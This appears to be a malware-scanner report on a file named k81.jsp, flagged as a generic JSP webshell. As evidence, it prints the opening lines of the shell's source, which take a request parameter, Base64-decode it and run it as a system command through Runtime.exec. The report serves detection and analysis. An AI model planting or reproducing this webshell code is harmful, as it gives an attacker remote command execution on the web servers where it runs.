Hostile ^92% Download

k81.jsp

Webshell executes base64 commands

JSP decodes a parameter and executes itGeneric JSP webshell tiny

SHA-2569305e2ba9d9fe2b4dfe9a1d34df28d14a54cc2705d326fbb25f5450bc863934f

Evidence

JSP names the legacy Base64 decoder lines 1–25

1<%@page import="java.io.*"%>
2<%@page import="sun.misc.BASE64Decoder"%>
3<%
4try {
5String cmd = request.getParameter("k8");
6String path=application.getRealPath(request.getRequestURI());
7String dir=new File(path).getParent();
8if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]");}
9byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
10String k8cmd = new String(binary);
11Process child = Runtime.getRuntime().exec(k8cmd);
12InputStream in = child.getInputStream();
13out.print("->|");
⋯12 lines